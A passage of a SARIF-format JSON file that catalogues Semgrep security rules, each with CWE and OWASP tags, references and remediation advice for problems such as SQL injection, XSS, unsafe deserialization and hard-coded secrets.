Rule](https://semgrep.dev/r/python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","id":"python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","name":"python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS."},"help":{"markdown":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication)\n - [https://cwe.mitre.org/data/definitions/287.html](https://cwe.mitre.org/data/definitions/287.html)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n","text":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS."},"helpUri":"https://semgrep.dev/r/yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","id":"yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","name":"yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A04:2021 Insecure Design","OWASP-A07:2021 Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","id":"python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","name":"python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","id":"python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","name":"python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep)\n - [https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html](https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","id":"java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","name":"java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","id":"go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","name":"go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.puppeteer-express.puppeteer-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.puppeteer-express.puppeteer-express","id":"javascript.express.code.puppeteer-express.puppeteer-express","name":"javascript.express.code.puppeteer-express.puppeteer-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.puppeteer-express.puppeteer-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"help":{"markdown":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-textiowrapper)\n","text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-textiowrapper","id":"python.lang.compatibility.python37.python37-compatibility-textiowrapper","name":"python.lang.compatibility.python37.python37-compatibility-textiowrapper","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-textiowrapper"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n - [https://golang.org/pkg/io/#WriteString](https://golang.org/pkg/io/#WriteString)\n","text":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","id":"go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","name":"go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli)\n - [https://github.com/MagicStack/asyncpg](https://github.com/MagicStack/asyncpg)\n - [https://magicstack.github.io/asyncpg/current/](https://magicstack.github.io/asyncpg/current/)\n","text":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","id":"python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","name":"python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.hibernate-sqli.hibernate-sqli","id":"kotlin.spring.hibernate-sqli.hibernate-sqli","name":"kotlin.spring.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable"},"help":{"markdown":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values."},"help":{"markdown":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.public-s3-bucket.public-s3-bucket)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html)\n","text":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values."},"helpUri":"https://semgrep.dev/r/json.aws.security.public-s3-bucket.public-s3-bucket","id":"json.aws.security.public-s3-bucket.public-s3-bucket","name":"json.aws.security.public-s3-bucket.public-s3-bucket","properties":{"precision":"very-high","tags":["CWE-264: CWE CATEGORY: Permissions, Privileges, and Access Controls","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.public-s3-bucket.public-s3-bucket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-command-write.dangerous-command-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-command-write.dangerous-command-write","id":"go.lang.security.audit.dangerous-command-write.dangerous-command-write","name":"go.lang.security.audit.dangerous-command-write.dangerous-command-write","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-command-write.dangerous-command-write"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues"},"help":{"markdown":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.md5-loose-equality.md5-loose-equality)\n - [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)\n - [https://www.whitehatsec.com/blog/magic-hashes/](https://www.whitehatsec.com/blog/magic-hashes/)\n","text":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues"},"helpUri":"https://semgrep.dev/r/php.lang.security.md5-loose-equality.md5-loose-equality","id":"php.lang.security.md5-loose-equality.md5-loose-equality","name":"php.lang.security.md5-loose-equality.md5-loose-equality","properties":{"precision":"very-high","tags":["CWE-697: Incorrect Comparison","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.md5-loose-equality.md5-loose-equality"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.sequel-sqli.sequel-sqli)\n - [https://github.com/jeremyevans/sequel#label-Arbitrary+SQL+queries](https://github.com/jeremyevans/sequel#label-Arbitrary+SQL+queries)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.sequel-sqli.sequel-sqli","id":"ruby.aws-lambda.security.sequel-sqli.sequel-sqli","name":"ruby.aws-lambda.security.sequel-sqli.sequel-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.sequel-sqli.sequel-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"bcrypt hash detected"},"help":{"markdown":"bcrypt hash detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"bcrypt hash detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","id":"generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","name":"generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions."},"help":{"markdown":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions.\n\n<b>References:</b>\n - [Semgrep 